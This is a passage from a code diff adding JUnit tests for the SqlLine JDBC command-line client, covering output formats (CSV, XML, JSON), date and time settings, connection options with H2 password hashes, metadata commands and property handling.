+        allOf(containsString("'TABLE_CAT','TABLE_SCHEM','TABLE_NAME',"),
+            containsString("'PUBLIC','SCOTT','SALGRADE','TABLE','',")));
+  }
+
+  /**
+   *  java.lang.NullPointerException test case from
+   *  https://github.com/julianhyde/sqlline/pull/86#issuecomment-410868361
+   */
+  @Test
+  public void testCsvDelimiterAndQuoteCharacter() {
+    final String script = "!set outputformat csv\n"
+        + "!set csvDelimiter null\n"
+        + "!set csvQuoteCharacter @\n"
+        + "values ('#', '@#@', 1, date '1969-07-20', null, ' 1''2\"3\t4');\n"
+        + "!set csvDelimiter ##\n"
+        + "values ('#', '@#@', 1, date '1969-07-20', null, ' 1''2\"3\t4');\n";
+    final String line1 = "@C1@null@C2@null@C3@null@C4@null@C5@null@C6@";
+    final String line2 =
+        "@#@null@@@#@@@null@1@null@1969-07-20@null@@null@ 1'2\"3\t4@";
+    final String line3 = "@C1@##@C2@##@C3@##@C4@##@C5@##@C6@";
+    final String line4 = "@#@##@@@#@@@##@1@##@1969-07-20@##@@##@ 1'2\"3\t4@";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString(line1), containsString(line2),
+            containsString(line3), containsString(line4)));
+  }
+
+  @Test
+  public void testCsvOneLiner() {
+    final String script = "!outputformat csv \"'\" @\n"
+        + "values ('#', '@#@', 1, date '1969-07-20', null, ' 1''2\"3\t4');\n"
+        + "!outputformat csv & default\n"
+        + "values ('#', '@#@', 1, date '1969-07-20', null, ' 1''2\"3\t4');\n";
+    final String line1 = "@C1@'@C2@'@C3@'@C4@'@C5@'@C6@";
+    final String line2 =
+        "@#@'@@@#@@@'@1@'@1969-07-20@'@@'@ 1'2\"3\t4@";
+    final String line3 = "'C1'&'C2'&'C3'&'C4'&'C5'&'C6'";
+    final String line4 =
+        "'#'&'@#@'&'1'&'1969-07-20'&''&' 1''2\"3\t4'";
+
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString(line1), containsString(line2),
+            containsString(line3), containsString(line4)));
+  }
+
+  @Test
+  public void testSetForNulls() {
+    final String script = "!set numberFormat null\n"
+        + "!set\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("numberFormat        null"));
+  }
+
+  @Test
+  public void testSetNonIntValuesToIntProperties() {
+    SqlLine sqlLine = new SqlLine();
+    final String headerIntervalScript = "!set headerinterval abc\n";
+    checkScriptFile(headerIntervalScript, false, equalTo(SqlLine.Status.OK),
+        containsString(sqlLine.loc("not-a-number", "headerinterval", "abc")));
+
+    final String rowLimitScript = "!set rowlimit xxx\n";
+    checkScriptFile(rowLimitScript, false, equalTo(SqlLine.Status.OK),
+        containsString(sqlLine.loc("not-a-number", "rowlimit", "xxx")));
+  }
+
+  @Test
+  public void testSelectXmlAttributes() {
+    final String script = "!set outputformat xmlattr\n"
+        + "values (1, -1.5, 1 = 1, date '1969-07-20', null, ']]> 1''2\"3\t<>&4');\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("<resultset>"),
+            containsString("<result C1=\"1\" C2=\"-1.5\" C3=\"TRUE\" "
+                + "C4=\"1969-07-20\" C5=\"null\" "
+                + "C6=\"]]&gt; 1'2&quot;3\t&lt;>&amp;4\"/>")));
+  }
+
+  @Test
+  public void testSelectXmlElements() {
+    final String script = "!set outputformat xmlelements\n"
+        + "values (1, -1.5, 1 = 1, date '1969-07-20', null, ' ]]>1''2\"3\t<>&4');\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("<resultset>"),
+            containsString("<result>"),
+            containsString("<C1>1</C1>"),
+            containsString("<C2>-1.5</C2>"),
+            containsString("<C3>TRUE</C3>"),
+            containsString("<C4>1969-07-20</C4>"),
+            containsString("<C5>null</C5>"),
+            containsString("<C6> ]]&gt;1'2\"3\t&lt;>&amp;4</C6>"),
+            containsString("</result>"),
+            containsString("</resultset>")));
+  }
+
+  @Test
+  public void testTablesJson() {
+    final String script = "!set outputformat json\n"
+        + "!tables\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("{\"resultset\":["),
+            containsString("{\"TABLE_CAT\":\"PUBLIC\","
+                + "\"TABLE_SCHEM\":\"SYSTEM_LOBS\",\"TABLE_NAME\":\"BLOCKS\","
+                + "\"TABLE_TYPE\":\"SYSTEM TABLE\",\"REMARKS\":null,"
+                + "\"TYPE_CAT\":null,")));
+  }
+
+  @Test
+  public void testSelectJson() {
+    final String script = "!set outputformat json\n"
+        + "values (1, -1.5, 1 = 1, date '1969-07-20', null, ' 1''2\"3\t4');\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("{\"resultset\":["),
+            containsString("{\"C1\":1,\"C2\":-1.5,\"C3\":true,"
+                + "\"C4\":\"1969-07-20\",\"C5\":null,"
+                + "\"C6\":\" 1'2\\\"3\\t4\"}")));
+  }
+
+  @Test
+  public void testNullValue() {
+    final String script = "!set nullValue %%%\n"
+        + "!set outputformat csv\n"
+        + "values (NULL, -1.5, null, date '1969-07-20', null, 'null');\n"
+        + "!set nullValue \"'\"\n"
+        + "values (NULL, -1.5, null, date '1969-07-20', null, 'null');\n"
+        + "!set nullValue null\n"
+        + "values (NULL, -1.5, null, date '1969-07-20', null, 'null');\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        CoreMatchers.allOf(containsString("'C1','C2','C3','C4','C5','C6'"),
+            containsString("'%%%','-1.5','%%%','1969-07-20','%%%','null'"),
+            containsString("'C1','C2','C3','C4','C5','C6'"),
+            containsString("'''','-1.5','''','1969-07-20','''','null'"),
+            containsString("'C1','C2','C3','C4','C5','C6'"),
+            containsString("'null','-1.5','null','1969-07-20','null','null'")));
+  }
+
+  @Test
+  public void testTimeFormat() {
+    // Use System.err as it is used in sqlline.SqlLineOpts#set
+    final PrintStream originalErr = System.err;
+    try {
+      final ByteArrayOutputStream errBaos = new ByteArrayOutputStream();
+      System.setErr(
+          new PrintStream(errBaos, false, StandardCharsets.UTF_8.name()));
+
+      // successful patterns
+      final String okTimeFormat = "!set timeFormat HH:mm:ss\n";
+      final String defaultTimeFormat = "!set timeFormat default\n";
+      final String okDateFormat = "!set dateFormat YYYY-MM-dd\n";
+      final String defaultDateFormat = "!set dateFormat default\n";
+      final String okTimestampFormat = "!set timestampFormat default\n";
+      final String defaultTimestampFormat = "!set timestampFormat default\n";
+
+      // successful cases
+      final SqlLine sqlLine = new SqlLine();
+      sqlLine.runCommands(new DispatchCallback(), okTimeFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+      sqlLine.runCommands(new DispatchCallback(), defaultTimeFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+      sqlLine.runCommands(new DispatchCallback(), okDateFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+      sqlLine.runCommands(new DispatchCallback(), defaultDateFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+      sqlLine.runCommands(new DispatchCallback(), okTimestampFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+      sqlLine.runCommands(new DispatchCallback(), defaultTimestampFormat);
+      assertThat(errBaos.toString("UTF8"),
+          not(
+              anyOf(containsString("Error setting configuration"),
+                  containsString("Exception"))));
+
+      // failed patterns
+      final String wrongTimeFormat = "!set timeFormat qwerty\n";
+      final String wrongDateFormat = "!set dateFormat ASD\n";
+      final String wrongTimestampFormat =
+          "!set timestampFormat 'YYYY-MM-ddTHH:MI:ss'\n";
+
+      // failed cases
+      sqlLine.runCommands(new DispatchCallback(), wrongTimeFormat);
+      assertThat(errBaos.toString("UTF8"),
+          containsString("Illegal pattern character 'q'"));
+      sqlLine.runCommands(new DispatchCallback(), wrongDateFormat);
+      assertThat(errBaos.toString("UTF8"),
+          containsString("Illegal pattern character 'A'"));
+      sqlLine.runCommands(new DispatchCallback(), wrongTimestampFormat);
+      assertThat(errBaos.toString("UTF8"),
+          containsString("Illegal pattern character 'T'"));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    } finally {
+      // Set error stream back
+      System.setErr(originalErr);
+    }
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/203">[SQLLINE-203]
+   * !indexes command fails because of Hive bug</a>.
+   * The bug in question is
+   * <a href="https://issues.apache.org/jira/browse/HIVE-20938">[HIVE-20983]
+   * HiveResultSetMetaData.getColumnDisplaySize throws for SHORT column</a>.
+   *
+   * @param meta Mocked hsqldb {@link JDBCResultSetMetaData} to use in the test
+   */
+  @Test
+  public void testOutputWithFailingColumnDisplaySize(
+      @Mocked final JDBCResultSetMetaData meta) {
+    try {
+      new Expectations() {
+        {
+          meta.getColumnCount();
+          result = 3;
+
+          meta.getColumnLabel(1);
+          result = "TABLE_CAT";
+
+          meta.getColumnLabel(2);
+          result = "TABLE_SCHEM";
+
+          meta.getColumnLabel(3);
+          result = "TABLE_NAME";
+
+          meta.getColumnDisplaySize(1);
+          result = new Exception("getColumnDisplaySize exception");
+        }
+      };
+
+      SqlLine sqlLine = new SqlLine();
+      ByteArrayOutputStream os = new ByteArrayOutputStream();
+      PrintStream sqllineOutputStream =
+          new PrintStream(os, false, StandardCharsets.UTF_8.name());
+      sqlLine.setOutputStream(sqllineOutputStream);
+      sqlLine.setErrorStream(sqllineOutputStream);
+      String[] args = {
+          "-d",
+          "org.hsqldb.jdbcDriver",
+          "-u",
+          "jdbc:hsqldb:res:scott",
+          "-n",
+          "SCOTT",
+          "-p",
+          "TIGER"
+      };
+      DispatchCallback callback = new DispatchCallback();
+      sqlLine.initArgs(args, callback);
+      FieldReflection.setFieldValue(
+          sqlLine.getClass().getDeclaredField("initComplete"), sqlLine, true);
+      sqlLine.getConnection();
+      sqlLine.runCommands(callback,
+          "!set incremental true",
+          "!set maxwidth 80",
+          "!set verbose true",
+          "!indexes");
+      assertThat(os.toString("UTF8"), not(containsString("Exception")));
+    } catch (Throwable e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /**
+   * Tests the {@code !connect} command with interactive password submission.
+   */
+  @Test
+  public void testConnectWithoutPassword() {
+    new MockUp<sqlline.Commands>() {
+      @Mock
+      String readPassword(String url) {
+        return "";
+      }
+    };
+    SqlLine beeLine = new SqlLine();
+    try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+      SqlLine.Status status =
+          begin(beeLine, os, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+      beeLine.runCommands(dc,
+          "!set maxwidth 80",
+          "!set incremental true");
+      beeLine.runCommands(dc, "!connect "
+          + ConnectionSpec.H2.url + " "
+          + ConnectionSpec.H2.username);
+      beeLine.runCommands(dc, "!tables");
+      String output = os.toString("UTF8");
+      final String expected = "| TABLE_CAT | TABLE_SCHEM | "
+          + "TABLE_NAME | TABLE_TYPE | REMARKS | TYPE_CAT | TYP |";
+      assertThat(output, containsString(expected));
+      beeLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(beeLine.isExit());
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /**
+   * Tests the {@code !connect} command passing in the password in as a hash,
+   * and using h2's {@code PASSWORD_HASH} property outside of the URL:
+   *
+   * <blockquote>
+   * !connect -p PASSWORD_HASH TRUE jdbc:h2:mem sa 6e6f6e456d707479506173737764
+   * </blockquote>
+   */
+  @Test
+  public void testConnectWithDbPropertyAsParameter() {
+    SqlLine beeLine = new SqlLine();
+    try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+      SqlLine.Status status =
+          begin(beeLine, os, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+      beeLine.runCommands(dc,
+          "!set maxwidth 80",
+          "!set incremental true");
+      String fakeNonEmptyPassword = "nonEmptyPasswd";
+      final byte[] bytes =
+          fakeNonEmptyPassword.getBytes(StandardCharsets.UTF_8);
+      beeLine.runCommands(dc, "!connect "
+          + " -p PASSWORD_HASH TRUE "
+          + ConnectionSpec.H2.url + " "
+          + ConnectionSpec.H2.username + " "
+          + StringUtils.convertBytesToHex(bytes));
+      beeLine.runCommands(dc, "!tables");
+      String output = os.toString("UTF8");
+      final String expected = "| TABLE_CAT | TABLE_SCHEM | "
+          + "TABLE_NAME | TABLE_TYPE | REMARKS | TYPE_CAT | TYP |";
+      assertThat(output, containsString(expected));
+      beeLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(beeLine.isExit());
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /**
+   * Tests the {@code !connect} command passing in the password in as a hash,
+   * and using h2's {@code PASSWORD_HASH} and {@code ALLOW_LITERALS} properties
+   * outside of the URL:
+   *
+   * <blockquote>
+   * !connect -p PASSWORD_HASH TRUE -p ALLOW_LITERALS NONE
+   * jdbc:h2:mem sa 6e6f6e456d707479506173737764
+   * </blockquote>
+   */
+  @Test
+  public void testConnectWithDbPropertyAsParameter2() {
+    SqlLine beeLine = new SqlLine();
+    try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+      SqlLine.Status status =
+          begin(beeLine, os, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+      beeLine.runCommands(dc, "!set maxwidth 80");
+      String fakeNonEmptyPassword = "nonEmptyPasswd";
+      final byte[] bytes =
+          fakeNonEmptyPassword.getBytes(StandardCharsets.UTF_8);
+      beeLine.runCommands(dc, "!connect "
+            + " -p PASSWORD_HASH TRUE -p ALLOW_LITERALS NONE "
+            + ConnectionSpec.H2.url + " "
+            + ConnectionSpec.H2.username + " "
+            + StringUtils.convertBytesToHex(bytes));
+      beeLine.runCommands(dc, "select 1;");
+      String output = os.toString("UTF8");
+      final String expected = "Error:";
+      assertThat(output, containsString(expected));
+      beeLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(beeLine.isExit());
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /**
+   * Tests the {@code !connect} command passing the password in as a hash:
+   *
+   * <blockquote>
+   * !connect "jdbc:h2:mem; PASSWORD_HASH=TRUE" sa 6e6f6e456d707479506173737764
+   * </blockquote>
+   */
+  @Test
+  public void testConnectWithDbProperty() {
+    SqlLine beeLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    SqlLine.Status status =
+        begin(beeLine, os, false, "-e", "!set maxwidth 80");
+    assertThat(status, equalTo(SqlLine.Status.OK));
+    DispatchCallback dc = new DispatchCallback();
+
+    try {
+      beeLine.runCommands(dc, "!set maxwidth 80");
+
+      // fail attempt
+      String fakeNonEmptyPassword = "nonEmptyPasswd";
+      beeLine.runCommands(dc, "!connect \""
+            + ConnectionSpec.H2.url
+            + " ;PASSWORD_HASH=TRUE\" "
+            + ConnectionSpec.H2.username
+            + " \"" + fakeNonEmptyPassword + "\"");
+      String output = os.toString("UTF8");
+      final String expected0 = "Error:";
+      assertThat(output, containsString(expected0));
+      os.reset();
+
+      // success attempt
+      final byte[] bytes =
+          fakeNonEmptyPassword.getBytes(StandardCharsets.UTF_8);
+      beeLine.runCommands(dc, "!connect \""
+            + ConnectionSpec.H2.url
+            + " ;PASSWORD_HASH=TRUE;ALLOW_LITERALS=NONE\" "
+            + ConnectionSpec.H2.username + " \""
+            + StringUtils.convertBytesToHex(bytes)
+            + "\"");
+      beeLine.runCommands(dc, "!set incremental true");
+      beeLine.runCommands(dc, "!tables");
+      output = os.toString("UTF8");
+      final String expected1 = "| TABLE_CAT | TABLE_SCHEM | "
+          + "TABLE_NAME | TABLE_TYPE | REMARKS | TYPE_CAT | TYP |";
+      assertThat(output, containsString(expected1));
+
+      beeLine.runCommands(dc, "select 5;");
+      output = os.toString("UTF8");
+      final String expected2 = "Error:";
+      assertThat(output, containsString(expected2));
+      os.reset();
+
+      beeLine.runCommands(new DispatchCallback(), "!quit");
+      output = os.toString("UTF8");
+      assertThat(output,
+          allOf(not(containsString("Error:")), containsString("!quit")));
+      assertTrue(beeLine.isExit());
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  private static PrintStream getPrintStream(OutputStream os) {
+    try {
+      return new PrintStream(os, false, StandardCharsets.UTF_8.name());
+    } catch (UnsupportedEncodingException e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testReconnect() {
+    final String script = "!reconnect";
+    final String expected = "Reconnecting to \"jdbc:hsqldb:res:scott\"...\n"
+        + "Closing: org.hsqldb.jdbc.JDBCConnection";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString(expected));
+  }
+
+  @Test
+  public void testTables() {
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set maxcolumnwidth 15\n"
+        + "!set incremental true\n"
+        + "!tables\n";
+    final String line0 =
+        "|    TABLE_CAT    |   TABLE_SCHEM   |   TABLE_NAME    |   TABLE_TYPE    |      |";
+    final String line1 =
+        "| PUBLIC          | SYSTEM_LOBS     | BLOCKS          | SYSTEM TABLE    |      |";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString(line0), containsString(line1)));
+  }
+
+  @Test
+  public void testTablesH2() {
+    connectionSpec = ConnectionSpec.H2;
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set incremental true\n"
+        + "!tables\n";
+    final String line0 = "| TABLE_CAT | TABLE_SCHEM | TABLE_NAME |";
+    final String line1 =
+        "| UNNAMED   | INFORMATION_SCHEMA | CATALOGS   | SYSTEM TABLE";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString(line0), containsString(line1)));
+  }
+
+  /**
+   * Test case for
+   * <a href="https://github.com/julianhyde/sqlline/issues/107">[SQLLINE-107]
+   * Script fails if the wrong driver is specified with -d option
+   * and there is a valid registered driver for the specified url</a>.
+   *
+   */
+  @Test
+  public void testTablesH2WithErrorDriver() {
+    connectionSpec = ConnectionSpec.ERROR_H2_DRIVER;
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set incremental true\n"
+        + "!tables\n";
+    final String line0 = "| TABLE_CAT | TABLE_SCHEM | TABLE_NAME |";
+    final String line1 =
+        "| UNNAMED   | INFORMATION_SCHEMA | CATALOGS   | SYSTEM TABLE";
+    final String message = "Could not find driver "
+        + connectionSpec.driver
+        + "; using registered driver org.h2.Driver instead";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        CoreMatchers.allOf(containsString(message),
+            not(containsString("NullPointerException")),
+            containsString(line0),
+            containsString(line1)));
+  }
+
+  @Test
+  public void testH2TablesWithErrorUrl() {
+    connectionSpec = ConnectionSpec.ERROR_H2_URL;
+    final String script = "!tables\n";
+
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        CoreMatchers.allOf(containsString("No suitable driver"),
+            not(containsString("NullPointerException"))));
+  }
+
+  @Test
+  public void testEmptyMetadata() {
+    final String script = "!metadata\n";
+    final String line = "Usage: metadata <methodname> <params...>";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        allOf(containsString(line), not(containsString("Exception"))));
+  }
+
+  /** Tests that methods inherited from Object are not included in the list
+   * of possible metadata methods. */
+  @Test
+  public void testPossibleMetadataValues() {
+    final String script = "!metadata 1\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        allOf(containsString("allProceduresAreCallable"),
+            containsString("getIndexInfo"),
+            not(containsString("Exception")),
+            not(containsString("equals")),
+            not(containsString("notify")),
+            not(containsString("wait")),
+            not(containsString("toString")),
+            not(containsString("hashCode")),
+            not(containsString("notifyAll"))));
+  }
+
+  @Test
+  public void testMetadataForClassHierarchy() {
+    final SqlLine beeLine = new SqlLine();
+
+    new MockUp<JDBCConnection>() {
+      @Mock
+      public DatabaseMetaData getMetaData() throws SQLException {
+        return new CustomDatabaseMetadata(
+            (JDBCConnection) beeLine.getConnection());
+      }
+    };
+
+    try (ByteArrayOutputStream os = new ByteArrayOutputStream()) {
+      SqlLine.Status status =
+          begin(beeLine, os, false, "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+      beeLine.runCommands(dc, "!connect "
+          + ConnectionSpec.HSQLDB.url + " \""
+          + ConnectionSpec.HSQLDB.username + "\" \""
+          + ConnectionSpec.HSQLDB.password + "\"");
+      os.reset();
+      beeLine.runCommands(dc, "!tables");
+      String output = os.toString("UTF8");
+      assertThat(output,
+          allOf(containsString("TABLE_CAT"),
+              not(containsString("No such method \"getTables\""))));
+    } catch (Exception e) {
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testEmptyRecord() {
+    final String line = "Usage: record <file name>";
+    checkScriptFile("!record", true, equalTo(SqlLine.Status.OTHER),
+        allOf(containsString(line), not(containsString("Exception"))));
+  }
+
+  @Test
+  public void testEmptyRun() {
+    final String line = "Usage: run <file name>";
+    checkScriptFile("!run", true, equalTo(SqlLine.Status.OTHER),
+        allOf(containsString(line), not(containsString("Exception"))));
+  }
+
+  @Test
+  public void testEmptyScript() {
+    final String line = "Usage: script <file name>";
+    checkScriptFile("!script", true, equalTo(SqlLine.Status.OTHER),
+        allOf(containsString(line), not(containsString("Exception"))));
+  }
+
+  @Test
+  public void testEscapeSqlMultiline() {
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set maxColumnWidth 15\n"
+        + "!set escapeOutput yes\n"
+        + "values \n"
+        + "('\n"
+        + "multiline\n"
+        + "value') \n"
+        + ";\n";
+    final String line1 = ""
+        + "+-----------------+\n"
+        + "|       C1        |\n"
+        + "+-----------------+\n"
+        + "|  \\nmultiline \\nvalue |\n"
+        + "+-----------------+\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString(line1));
+  }
+
+  @Test
+  public void testSqlMultiline() {
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set incremental true \n"
+        + "!sql \n"
+        + "values \n"
+        + "(1, 2) \n"
+        + ";\n";
+    final String line1 = ""
+        + "+-------------+-------------+\n"
+        + "|     C1      |     C2      |\n"
+        + "+-------------+-------------+\n"
+        + "| 1           | 2           |\n"
+        + "+-------------+-------------+";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString(line1));
+  }
+
+  @Test
+  public void testAllMultiline() {
+    // Set width so we don't inherit from the current terminal.
+    final String script = "!set maxwidth 80\n"
+        + "!set incremental true \n"
+        + "!all \n"
+        + "values \n"
+        + "(1, '2') \n"
+        + ";\n";
+    final String line1 = ""
+        + "+-------------+----+\n"
+        + "|     C1      | C2 |\n"
+        + "+-------------+----+\n"
+        + "| 1           | 2  |\n"
+        + "+-------------+----+";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString(line1));
+  }
+
+  @Test
+  public void testAppInfoMessage() {
+    Pair pair = run("-e", "!set maxwidth 80");
+    assertThat(pair.status, equalTo(SqlLine.Status.OK));
+    assertThat(pair.output,
+        containsString(Application.DEFAULT_APP_INFO_MESSAGE));
+
+    String[] args = {"-e", "!set maxwidth 80", "-ac", "INCORRECT_CLASS_NAME"};
+    pair = run(args);
+    assertThat(pair.output,
+        containsString("Could not initialize INCORRECT_CLASS_NAME"));
+    assertThat(pair.output,
+        containsString(CustomApplication.DEFAULT_APP_INFO_MESSAGE));
+
+    String[] args2 = {"-e", "!set maxwidth 80",
+        "-ac", "sqlline.extensions.CustomApplication"};
+    pair = run(args2);
+    assertThat(pair.output,
+        containsString(CustomApplication.CUSTOM_INFO_MESSAGE));
+  }
+
+  @Test
+  public void testCustomOutputFormats() {
+    // json format was removed
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!set outputformat json\n"
+        + "values 1;";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("Unknown outputFormat \"json\""));
+  }
+
+  @Test
+  public void testCustomCommands() {
+    // table command was removed
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!tables";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("Unknown command: tables"));
+  }
+
+  @Test
+  public void testAppConfigReset() {
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!appconfig sqlline.Application\n"
+        + "!tables";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("TABLE_CAT"));
+  }
+
+  @Test
+  public void testCustomOpts() {
+    // nulls are displayed as custom_null
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "values(null)";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("custom_null"));
+  }
+
+  @Test
+  public void testScanForEmptyAllowedDrivers() {
+    new MockUp<CustomApplication>() {
+      @Mock
+      public List<String> allowedDrivers() {
+        return Collections.emptyList();
+      }
+    };
+
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!scan";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("No driver classes found"));
+  }
+
+  @Test
+  public void testScanForOnlyH2Allowed() {
+    new MockUp<CustomApplication>() {
+      @Mock
+      public List<String> allowedDrivers() {
+        return Collections.singletonList("org.h2.Driver");
+      }
+    };
+
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!scan";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("yes       1.4     org.h2.Driver"),
+                not(containsString("org.hsqldb.jdbc.JDBCDriver"))));
+  }
+
+  @Test
+  public void testScanForOnlyHsqldbAllowed() {
+    new MockUp<CustomApplication>() {
+      @Mock
+      public List<String> allowedDrivers() {
+        return Collections.singletonList("org.hsqldb.jdbc.JDBCDriver");
+      }
+    };
+
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!scan";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("yes       2.4     org.hsqldb.jdbc.JDBCDriver"),
+            not(containsString("org.h2.Driver"))));
+  }
+
+  @Test
+  public void testVersion() {
+    final String script = "!set\n";
+    try {
+      checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+          containsString(new Application().getVersion()));
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testSetVersion() {
+    final String script = "!set version test-version\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("version property is read only"));
+  }
+
+  @Test
+  public void testSetPropertySuccess() {
+    final String script = "!set timeout\n"
+        + "!set timeout 200\n"
+        + "!set timeout";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("timeout             -1"),
+            containsString("timeout             200")));
+  }
+
+  @Test
+  public void testSetPropertyFailure() {
+    final String script = "!set unk";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("Specified property [unk] does not exist."
+            + " Use !set command to get list of all available properties."));
+  }
+
+  @Test
+  public void testSetUsage() {
+    final String script = "!set 1 2 3";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("Usage: set [all | <property name> [<value>]]"));
+  }
+
+  @Test
+  public void testSetWrongValueToEnumTypeProperties() {
+    Collection<BuiltInProperty> propertiesWithAvailableValues =
+        Arrays.stream(BuiltInProperty.values())
+            .filter(t -> !t.getAvailableValues().isEmpty())
+            .collect(Collectors.toSet());
+    final String wrongValue = "wrong_value";
+    for (BuiltInProperty property: propertiesWithAvailableValues) {
+      final String script =
+          "!set " + property.propertyName() + " " + wrongValue + "\n";
+      checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+          allOf(
+              containsString("Unknown " + property.propertyName() + " \""
+                  + wrongValue + "\""),
+              not(containsString("Exception"))));
+    }
+  }
+
+  @Test
+  public void testResetSuccess() {
+    final String script = "!set timeout 200\n"
+        + "!reset timeout";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("[timeout] was reset to [-1]"));
+  }
+
+  @Test
+  public void testResetFailure() {
+    final String script = "!reset unk";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("Specified property [unk] does not exist."
+            + " Use !set command to get list of all available properties."));
+  }
+
+  @Test
+  public void testResetAll() {
+    final String script = "!set timeout 200\n"
+        + "!reset all\n"
+        + "!set timeout";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("All properties were reset to their defaults."),
+            containsString("timeout             -1")));
+  }
+
+  @Test
+  public void testResetUsage() {
+    final String script = "!reset";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("Usage: reset (all | <property name>)"));
+  }
+
+  @Test
+  public void testRerun() {
+    final SqlLine beeLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    final File tmpHistoryFile = createTempFile("tmpHistory", "temp");
+    try (BufferedWriter bw =
+             new BufferedWriter(
+                 new OutputStreamWriter(
